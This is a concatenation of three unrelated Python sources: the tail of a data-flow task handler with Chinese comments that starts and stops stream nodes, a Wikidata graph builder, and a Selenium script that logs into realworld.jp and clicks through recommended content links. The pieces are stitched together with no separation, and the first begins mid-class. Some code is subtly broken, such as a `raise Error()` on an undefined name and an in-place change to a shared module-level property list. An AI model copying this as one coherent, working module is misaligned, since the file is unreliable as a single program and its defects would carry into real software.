            flow_name=flow_name,
            op_type=dict(FlowExecuteLog.ACTION_TYPES_CHOICES).get(flow_task.action, flow_task.action),
            result=dict(FlowExecuteLog.STATUS_CHOICES).get(flow_task.status, flow_task.status),
            message=message,
        )
        send_message(receivers, title, content)
        translation.activate("en")

    def ok_callback(self, message):
        self.flow_task.set_status(FlowExecuteLog.STATUS.SUCCESS)
        self.flow.sync_status()
        self.send_message(message)

    def fail_callback(self, message):
        self.flow_task.set_status(FlowExecuteLog.STATUS.FAILURE)
        self.flow.sync_status()
        self.send_message(message)

    def build_start_node_tasks(self):
        """
        组装启动节点任务列表
        """
        tasks = []
        nodes = self.flow.get_ordered_nodes()

        stream_tasks = []
        stream_index = -1
        for _n in nodes:
            start_slightly = False
            if (
                _n.node_type in list(self.M_NODE_TASK.keys())
                and self.restart_check_node(_n)
                or _n.node_id in self.nodes_to_restart_slightly
            ):
                if _n.node_id in self.nodes_to_restart_slightly:
                    start_slightly = True
                _task = self.M_NODE_TASK[_n.node_type](self, [_n], "start", start_slightly)
                tasks.append(_task)

            # 实时节点打包一起启动，实时任务只需要生成一个
            if _n.node_type in [
                NodeTypes.STREAM,
                NodeTypes.DATA_MODEL_APP,
                NodeTypes.DATA_MODEL_STREAM_INDICATOR,
            ]:
                stream_tasks.append(_n)
                if stream_index == -1:
                    stream_index = len(tasks)

        if stream_tasks and (
            self.restart_check_node(stream_tasks[0]) or stream_tasks[0].node_id in self.nodes_to_restart_slightly
        ):
            if stream_tasks[0].node_id in self.nodes_to_restart_slightly:
                start_slightly = True
            _task = StreamNodeTask(self, stream_tasks, "start", start_slightly)
            tasks.insert(stream_index, _task)

        return tasks

    def build_start_stream_node_tasks(self):
        """
        只组装启动实时节点
        """
        tasks = []
        nodes = self.flow.get_ordered_nodes()

        stream_tasks = []
        for _n in nodes:
            start_slightly = False
            # 实时节点打包一起启动，实时任务只需要生成一个
            if _n.node_type in [
                NodeTypes.STREAM,
                NodeTypes.DATA_MODEL_APP,
                NodeTypes.DATA_MODEL_STREAM_INDICATOR,
            ]:
                # 实时节点打包一起启动，实时任务只需要生成一个
                if _n.node_type in [
                    NodeTypes.STREAM,
                    NodeTypes.DATA_MODEL_APP,
                    NodeTypes.DATA_MODEL_STREAM_INDICATOR,
                ]:
                    stream_tasks.append(_n)

        if stream_tasks and (
            self.restart_check_node(stream_tasks[0]) or stream_tasks[0].node_id in self.nodes_to_restart_slightly
        ):
            if stream_tasks[0].node_id in self.nodes_to_restart_slightly:
                start_slightly = True
            _task = StreamNodeTask(self, stream_tasks, "start", start_slightly)
            tasks.append(_task)

        return tasks

    def is_restart(self):
        return self.action_type == FlowExecuteLog.ACTION_TYPES.RESTART

    def restart_check_node(self, node):
        """
        返回 True 表示节点所在的任务需要启动或停止，False 则表示不需要启动或停止
        @param node:
        @return:
        """
        if (
            not self.is_restart()
            or node.node_id in self.nodes_to_restart
            or (
                node.is_belong_to_topology_job
                and node.node_type in [_n.node_type for _n in list(self.nodes_to_restart.values())]
            )
        ):
            return True
        else:
            return False

    def build_stop_node_tasks(self):
        """
        组装停止节点任务列表
        """
        tasks = []
        nodes = self.flow.get_ordered_nodes(reverse=True, isolated_excluded=False)
        stream_tasks = []
        stream_index = -1
        for _n in nodes:
            # 可能需要停止的节点:
            #   1. 运行中、停止失败、正在停止状态的节点
            #   2. 在重启操作中，被鉴定为需要重启的节点，即节点存在于 nodes_to_restart 中，且当前至少存在一个正在运行的关联作业
            #       * 当前画布存在一个实时作业，增加新节点，需要停止
            #       * 当前画布不存在一个实时作业，增加新节点，不需要停止
            if _n.status not in [
                FlowInfo.STATUS.RUNNING,
                FlowInfo.STATUS.FAILURE,
                FlowInfo.STATUS.STOPPING,
            ]:
                # 该节点不需要停止
                _n.set_status(FlowInfo.STATUS.NO_START)
                continue

            if _n.node_type in list(self.M_NODE_TASK.keys()) and self.restart_check_node(_n):
                _task = self.M_NODE_TASK[_n.node_type](self, [_n], "stop")
                tasks.append(_task)

            # 实时节点打包一起启动，实时任务只需要生成一个
            if _n.node_type in [
                NodeTypes.STREAM,
                NodeTypes.DATA_MODEL_APP,
                NodeTypes.DATA_MODEL_STREAM_INDICATOR,
            ]:
                stream_tasks.append(_n)
                if stream_index == -1:
                    stream_index = len(tasks)

        if stream_tasks and self.restart_check_node(stream_tasks[0]):
            _task = StreamNodeTask(self, stream_tasks, "stop")
            tasks.insert(stream_index, _task)

        return tasks

    def build_stop_stream_node_tasks(self):
        """
        组装停止实时节点任务列表
        """
        tasks = []
        nodes = self.flow.get_ordered_nodes(reverse=True)
        stream_tasks = []
        for _n in nodes:
            # 实时节点打包一起启动，实时任务只需要生成一个
            if _n.node_type in [
                NodeTypes.STREAM,
                NodeTypes.DATA_MODEL_APP,
                NodeTypes.DATA_MODEL_STREAM_INDICATOR,
            ]:
                stream_tasks.append(_n)

        if stream_tasks and self.restart_check_node(stream_tasks[0]):
            _task = StreamNodeTask(self, stream_tasks, "stop")
            tasks.append(_task)

        return tasks

    def lock(self):
        self.log(Bilingual(ugettext_noop("锁定任务")))
        self.flow.lock("启停任务中")

    def unlock(self):
        self.log(Bilingual(ugettext_noop("解锁任务")))
        self.flow.unlock()

    def start(self, max_progress=100.0):
        self.log(Bilingual(ugettext_noop("******************** 开始检查任务 ********************")))
        self.update_instance()
        self.check_before_start(self.progress + (max_progress - self.progress) / 2)
        self.log(Bilingual(ugettext_noop("******************** 成功检查任务 ********************")))

        self.log(Bilingual(ugettext_noop("******************** 开始启动任务 ********************")))
        self.flow.status = FlowInfo.STATUS.STARTING
        node_tasks = self.build_start_node_tasks()
        _current_range_progress = max_progress - self.progress
        step_progress = 0
        if _current_range_progress > 0 and node_tasks:
            step_progress = 1.0 * _current_range_progress / len(node_tasks)
        for _nt in node_tasks:
            _nt.start()
            self.progress = self.progress + step_progress
        self.log(Bilingual(ugettext_noop("******************** 成功启动任务 ********************")))
        self.progress = max_progress

    def stop_after(self):
        # 检查是否需要停止 TDW 存量数据表对应数据源的检查任务
        for _n in self.flow.nodes:
            # 当前节点是 TDW 相关节点并且下游节点都停止了(不存在没停止的)
            if _n.node_type in [NodeTypes.TDW_SOURCE, NodeTypes.TDW_STORAGE] and not list(
                filter(
                    lambda _n: _n.status != FlowInfo.STATUS.NO_START,
                    _n.get_to_nodes_handler(),
                )
            ):
                result_table_id = _n.result_table_ids[0]
                o_rt = ResultTable(result_table_id)
                # RT是受控 TDW 数据源、且 processing_type 为 batch(即TDW离线产生的表)，无需处理
                if _n.node_type == NodeTypes.TDW_SOURCE and o_rt.is_managed and o_rt.processing_type == "batch":
                    continue
                related_running_nodes = self.flow.related_running_nodes(
                    result_table_id,
                    [
                        NodeTypes.TDW_SOURCE,
                        NodeTypes.TDW_STORAGE,
                    ],
                )
                should_stop_source = True
                for related_running_node in related_running_nodes:
                    if NODE_FACTORY.get_node_handler(related_running_node).get_to_nodes_handler():
                        should_stop_source = False
                        break
                # 若该 RT 未被其它正在运行的 Flow 引用，或即使引用了但下游未接其它节点，应该调用 stop_source
                if should_stop_source:
                    BatchHelper.stop_source(result_table_id)

    def stop(self, max_progress=100.0):
        """
        @param max_progress: 当前阶段完成后所能达到的最大临界值
        @return:
        """
        self.log(Bilingual(ugettext_noop("******************** 开始停止任务 ********************")))
        self.flow.status = FlowInfo.STATUS.STOPPING
        node_tasks = self.build_stop_node_tasks()
        _current_range_progress = max_progress - self.progress
        step_progress = 0
        if _current_range_progress > 0 and node_tasks:
            step_progress = 1.0 * _current_range_progress / len(node_tasks)
        for _nt in node_tasks:
            _nt.stop()
            self.progress = self.progress + step_progress
        self.stop_after()
        self.log(Bilingual(ugettext_noop("******************** 成功停止任务 ********************")))
        self.progress = max_progress

    def build_nodes_to_restart(self):
        """
        将所有需要重启的节点检查出来，规则为:
            1. 与运行中的版本相比(不能存在运行中节点删除的情况)为新版本的节点
                1. 新增的节点/连线的所有下游节点(除非其一级下游是支持轻量级重启的节点，并且不向下追溯更下游节点)
                2. 支持轻量级重启的节点及其自身除外，当前仅做了修改的节点/连线及其所有下游节点
            2. 状态不正常/未启动的节点(需要启动，不一定需要停止)
            3. 修改了数据消费模式、计算集群等
            * 除此之外，若非 processing 节点符合上述条件，其所有上游节点中也需要重启(上游合流节点若不符合上述条件，就不需要重启)
        """
        (
            self.nodes_to_restart,
            self.nodes_to_restart_slightly,
        ) = self.flow.build_nodes_to_restart(self.context)

    def restart(self):
        self.build_nodes_to_restart()
        # 对于重启操作，需要停止的节点必然需要重启(重启的节点还包括不处于 RUNNING 状态的节点，即未启动或未正常启动的节点)
        self.stop(max_progress=50.0)
        self.start()

    def build_nodes_to_update(self, nodes):
        nodes_to_update = {}
        for _n in nodes:
            if _n.node_id not in nodes_to_update and (_n.is_new_version() or _n.is_modify_version(True)):
                _nodes = [_n]
                if _n.node_type not in NodeTypes.PROCESSING_CATEGORY:
                    _nodes = list(
                        filter(
                            lambda _f_n: _f_n.node_id not in nodes_to_update
                            and _f_n.node_type in NodeTypes.PROCESSING_CATEGORY,
                            _n.get_from_nodes_handler(),
                        )
                    )
                    _nodes.append(_n)
                for _n_n in _nodes:
                    nodes_to_update[_n.node_id] = _n_n
                    self.flow.fetch_all_to_nodes(_n_n, nodes_to_update)
        return nodes_to_update

    def check_before_start(self, max_progress):
        """
        启动前按顺序保存每个节点，确保能成功才能启动flow
        """
        o_flow = self.flow

        # 检查是否存在回路
        o_flow.check_circle()

        # 校验数据模型节点
        is_exist_data_model_app = False
        stream_nodes = o_flow.get_stream_nodes()
        for node in stream_nodes:
            if node.node_type == NodeTypes.DATA_MODEL_APP:
                is_exist_data_model_app = True
                break
        if is_exist_data_model_app:
            res = DatamanageHelper.check_data_model_instance({"flow_id": o_flow.flow_id})
            if not res:
                raise ApiResultError(message=_("检查【数据模型应用】节点返回为空"))
            if not res.is_success():
                raise ApiResultError(Bilingual(ugettext_noop("检查【数据模型应用】节点（{output}）")).format(output=res.message))

        # 按从数据源节点获取所有待启动的节点
        ordered_nodes = o_flow.check_isolated_nodes()
        nodes_to_update = self.build_nodes_to_update(ordered_nodes)
        _current_range_progress = max_progress - self.progress
        step_progress = 0
        if _current_range_progress > 0 and len(ordered_nodes) > 0:
            step_progress = 1.0 * _current_range_progress / len(ordered_nodes)
        for index, node in enumerate(ordered_nodes):
            if node.node_id not in nodes_to_update:
                continue
            node = NODE_FACTORY.get_node_handler(node_id=node.node_id)
            self.log(
                Bilingual(ugettext_noop("检查{display}节点（{output}）")).format(
                    output=node.name,
                    display=Bilingual.from_lazy(node.get_node_type_display()),
                )
            )
            """
            实时和离线计算节点，需要更新 processing
            1. udf 重新发布后，启动节点需要重新保存以更新 processing 信息
            2. 其它计算节点元数据发生变化
            """
            if node.node_type in NodeTypes.PROCESSING_CATEGORY:
                from_node_ids = node.from_node_ids
                frontend_info = node.frontend_info
                prev_node = model_to_dict(node.node_info)
                prev_node["result_table_ids"] = node.result_table_ids
                form_data = node.clean_config(json.loads(prev_node["node_config"]), False)
                operator = get_request_username()
                build_form_data = node.update_node_info(operator, from_node_ids, form_data, frontend_info=frontend_info)
                after_node = model_to_dict(node.node_info)
                node.update_after(
                    operator,
                    from_node_ids,
                    build_form_data,
                    prev=prev_node,
                    after=after_node,
                )

            self.progress = self.progress + step_progress
        self.progress = max_progress

    def log(self, msg, level="INFO", time=None):
        _time = time if time is not None else datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        self.flow_task.add_log(msg, level=level, time=_time, progress=self.progress)

    def update_instance(self):
        """
        更新 DataFlow 实例的版本，并且记录下上一次启动版本
        """
        if self.instance is None:
            FlowInstance.objects.create(flow_id=self.flow_id, running_version=self.version)
        else:
            self.pre_version = self.instance.running_version
            self.instance.running_version = self.version
            self.instance.save()

    @property
    def flow(self):
        if self._flow is None:
            self._flow = FlowHandler(flow_id=self.flow_id)
        return self._flow

    @property
    def flow_id(self):
        return self.flow_task.flow_id

    @property
    def action_type(self):
        return self.flow_task.action

    @property
    def version(self):
        return self.flow_task.version

    @property
    def context(self):
        _context = self.flow_task.get_context()
        return {} if _context is None else _context

    def add_context(self, context):
        """
        添加额外 context
        """
        _context = self.context
        _context.update(context)
        self.flow_task.save_context(_context)

    @property
    def progress(self):
        # 默认最小进度10，停止作业时取的就是该初始值
        return self.context.get("progress", 10)

    @progress.setter
    def progress(self, progress):
        self.add_context({"progress": progress})

    @property
    def instance(self):
        """
        DataFlow 对应的作业实例
        """
        if self._instance is None:
            try:
                self._instance = FlowInstance.objects.get(flow_id=self.flow_id)
            except FlowInstance.DoesNotExist:
                pass
        return self._instance

"""
    using for add partition only
"""

class PlainFlowTaskHandler(object):
    M_NODE_TASK = FlowTaskHandler.M_NODE_TASK

    def __init__(self, flow_id, nodes_need_operation, context, operator):
        self.flow_id = flow_id
        self.nodes_need_operation = nodes_need_operation
        self.context = context
        self._flow = None
        self._operator = operator

    @property
    def operator(self):
        return self._operator

    @operator.setter
    def operator(self, operator):
        self._operator = operator

    def execute_stream_stop(self):
        # 重新初始化线程变量
        activate_request("admin")
        try:
            self.lock()
            # 停止实时任务
            node_tasks = self.build_op_stream_node_tasks("stop")
            for _nt in node_tasks:
                _nt.stop()

            self.ok_callback(Bilingual(ugettext_noop("停止实时/算法节点成功")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
            raise e
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
            raise e
        finally:
            self.unlock()

    def execute_stream_start(self):
        # 重新初始化线程变量
        activate_request("admin")
        try:
            self.lock()
            # 启动实时任务
            node_tasks = self.build_op_stream_node_tasks("start")
            for _nt in node_tasks:
                _nt.start()

            self.ok_callback(Bilingual(ugettext_noop("启动实时/算法节点成功")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
            raise e
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
            raise e
        finally:
            self.unlock()

    def build_op_stream_node_tasks(self, action):
        """
        组装停止实时节点任务列表
        """
        tasks = []
        nodes = self.nodes_need_operation
        stream_tasks = []
        stream_index = -1
        for _n in nodes:
            if _n.node_type in list(self.M_NODE_TASK.keys()):
                _task = self.M_NODE_TASK[_n.node_type](self, [_n], action, log_type="task_log")
                tasks.append(_task)

            # 实时节点打包一起启动，实时任务只需要生成一个
            if _n.node_type in [
                NodeTypes.STREAM,
                NodeTypes.DATA_MODEL_APP,
                NodeTypes.DATA_MODEL_STREAM_INDICATOR,
            ]:
                stream_tasks.append(_n)
                if stream_index == -1:
                    stream_index = len(tasks)

        if stream_tasks:
            _task = StreamNodeTask(self, stream_tasks, action, log_type="task_log")
            tasks.insert(stream_index, _task)
        return tasks

    @property
    def flow(self):
        if self._flow is None:
            self._flow = FlowHandler(flow_id=self.flow_id)
        return self._flow

    def lock(self):
        # self.log(Bilingual(ugettext_noop(u"锁定任务")))
        self.flow.lock("启停任务中")

    def unlock(self):
        # self.log(Bilingual(ugettext_noop(u"解锁任务")))
        self.flow.unlock()

    def ok_callback(self, message):
        self.log(message)

    def fail_callback(self, message):
        self.log(message, "ERROR")

    def log(self, msg, level="INFO", time=None):
        if level == "INFO":
            logger.info(msg)
        elif level == "WARN":
            logger.warning(msg)
        elif level == "ERROR":
            logger.error(msg)
        elif level == "CRITICAL":
            logger.critical(msg)
        elif level == "EXCEPTION":
            logger.exception(msg)


import json
import logging
import networkx as nx
import networkx.algorithms as nxa
import pdb
import requests

from herc_common.utils import empty_if_keyerror, WIKIDATA_BASE

logger = logging.getLogger(__name__)

WIKIDATA_PROPS_EXPAND = ['P31', 'P279', 'P301', 'P361', 'P366',
                         'P527', 'P910', 'P921', 'P2578', 'P2579']
WIKIDATA_EXTERNAL_IDS = {
    'P349': 'https://id.ndl.go.jp/auth/ndlsh/',
    'P352': 'https://www.uniprot.org/uniprot/',
    'P486': 'https://meshb.nlm.nih.gov/record/ui?ui=',
    'P646': 'https://freebase.toolforge.org/',
    'P672': 'http://id.nlm.nih.gov/mesh/',
    'P3382': 'https://www.genedb.org/#/gene/',
    'P3827': 'https://www.jstor.org/topic/',
    'P3916': 'http://vocabularies.unesco.org/thesaurus/',
    'P5748': 'http://uri.gbv.de/terminology/bk/',
    'P6366': 'https://academic.microsoft.com/v2/detail'
}

def get_centrality_algorithm_results(g, algorithm, stop_uris, top_n):
    """ Return top n nodes from a graph based on the given centrality algorithm.

    Parameters
    ----------
    g: :obj:`networkx.graph`
    algorithm: callable
    stop_uris: list of str
    top_n: int

    Returns
    -------
    list of (str, float)
        List of tuples where the first element is the label of the node and the second
        one is the score obtained for the given algorithm.
    """
    metrics = algorithm(g)
    metrics = {key: val for key, val in metrics.items()
                if key not in stop_uris}
    best_qids = sorted(metrics, key=metrics.get, reverse=True)[:top_n]
    return [(g.nodes[qid], metrics[qid]) for qid in best_qids]

def get_largest_connected_subgraph(g):
    S = [g.subgraph(c).copy() for c in nxa.components.connected_components(g)]
    return max(S, key=len)

def _build_uri(entity_id):
    return f"http://www.wikidata.org/entity/{entity_id}"

@empty_if_keyerror
def _get_aliases(entity_info, lang='en'):
    return [alias['value']
            for alias in entity_info['aliases'][lang]]

@empty_if_keyerror
def _get_desc(entity_info, lang='en'):
    return entity_info['descriptions'][lang]['value']

def _get_uris(entity_info, term_id):
    res = [f"{WIKIDATA_BASE}/{term_id}"]
    for claim_key, claim_values in entity_info['claims'].items():
        if claim_key not in WIKIDATA_EXTERNAL_IDS.keys():
            continue

        for value in claim_values:
            snaktype = value['mainsnak']['snaktype']
            if snaktype in ['novalue', 'somevalue']:
                continue

            base_url = WIKIDATA_EXTERNAL_IDS[claim_key]
            fragment = value['mainsnak']['datavalue']['value']
            external_url = base_url + fragment
            res.append(external_url)
    return res

@empty_if_keyerror
def _get_labels(entity_info, lang='en'):
    return entity_info['labels'][lang]['value']

class WikidataGraphBuilder():
    """ Build a Wikidata graph from a given set of seed concepts.

    This class can be used to build a graph with Wikidata

    Parameters
    ----------
    max_hops: int (default=2)
        Maximum depth of the graph with respect to the seed nodes used
        to build it.

    additional_props: list of str (default=None)
        List of properties to be expanded for each node in the graph. They
        will be added to the default list of properties of the graph builder.
    """

    def __init__(self, max_hops=2, additional_props=None, languages=['en', 'es']):
        self.entities_cache = {}
        self.max_hops = max_hops
        self.languages = languages
        self.props_to_expand = WIKIDATA_PROPS_EXPAND
        if additional_props:
            self.props_to_expand += additional_props

    def build_graph(self, terms):
        """Build the graph for the given terms."""
        logger.info("Started building graph.")
        G = nx.Graph()
        for term in terms:
            logger.debug("Seed term: %s", term[0])
            term_uri = term[1]
            if term_uri is not None:
                term_id = term_uri.split('/')[-1]
                self._add_wd_node_info(G, term_id, None, 0)
        logger.info("Finished building graph.")
        return G

    def _add_wd_node_info(self, graph, term_id, prev_node, curr_hop):
        logger.debug("Visiting entity '%s' - Curr hop: %d", term_id, curr_hop)
        if curr_hop > self.max_hops or term_id in ['Q4167410', 'Q4167836', 'Q37517',
            'Q16334298', 'Q59541917']:
            return

        if term_id not in self.entities_cache:
            entity_info = self._fetch_entity_info_of(term_id)
            self.entities_cache[term_id] = entity_info
        else:
            entity_info = self.entities_cache[term_id]

        if 'claims' not in entity_info:
            return

        if term_id not in graph.nodes:
            graph.add_node(term_id)
            #graph.nodes[term_id]['alias'] = _get_aliases(entity_info)
            graph.nodes[term_id]['qid'] = term_id
            graph.nodes[term_id]['descs'] = {lang: _get_desc(entity_info, lang)
                for lang in self.languages}
            graph.nodes[term_id]['labels'] = {lang: _get_labels(entity_info, lang)
                for lang in self.languages}
            graph.nodes[term_id]['label'] = _get_labels(entity_info)
            graph.nodes[term_id]['uris'] = _get_uris(entity_info, term_id)
            graph.nodes[term_id]['n'] = curr_hop

        if prev_node is not None and not graph.has_edge(prev_node, term_id):
            graph.add_edge(prev_node, term_id)

        for claim_key, claim_values in entity_info['claims'].items():
            if claim_key not in self.props_to_expand:
                continue

            for value in claim_values:
                snaktype = value['mainsnak']['snaktype']
                if snaktype in ['novalue', 'somevalue']:
                    continue

                new_node_id = value['mainsnak']['datavalue']['value']['id']
                self._add_wd_node_info(graph, new_node_id, term_id, curr_hop + 1)

    def _fetch_entity_info_of(self, term_id):
        endpoint = f"{WIKIDATA_BASE}/api.php?action=wbgetentities&ids={term_id}&languages=en|es&format=json"
        res = requests.get(endpoint)
        if res.status_code != 200:
            logger.warning("There was an error calling endpoint for term %s: %s",
                            term_id, res.content)
            raise Error()
        content = json.loads(res.text)
        return content['entities'][term_id]


import sys
import rlogin
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from time import sleep

login_url = "https://ssl.realworld.jp/auth?goto=http%3A%2F%2Frealworld.jp"
rloginCls = rlogin.Rlogin(login_url, "settings")
driver = rloginCls.get_driver()
driver = rloginCls.login(driver)

read_url = "http://realworld.jp/contents/rec/page/"
page = 1
links = []
cnt = 1
while True:
	if cnt > 5 or page > 30:
		break

	read_page_url = read_url + str(page)
	driver.get(read_page_url)
	sec = driver.find_element_by_css_selector("section#recommend")
	a_list = sec.find_elements_by_tag_name("a")

	for tag in a_list:
		if cnt > 5:
			break
		cls = tag.get_attribute("class")
		if str(cls) == "":
			continue

		if str(cls).find('unable') > -1:
			continue

		if str(cls).find('clearfix') <= -1:
			continue

		href = tag.get_attribute('href')
		links.append(str(href))
		cnt += 1
	page += 1

for link in links:
	print(link)
	driver.get(link)
	driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
	sleep(1)
	try:
		sec_tag = driver.find_element_by_css_selector("section#complete")
		element = sec_tag.find_element_by_css_selector("a.modal-close")
		driver.execute_script("arguments[0].click();", element)
		sleep(1)
	except NoSuchElementException:
		pass

driver.quit()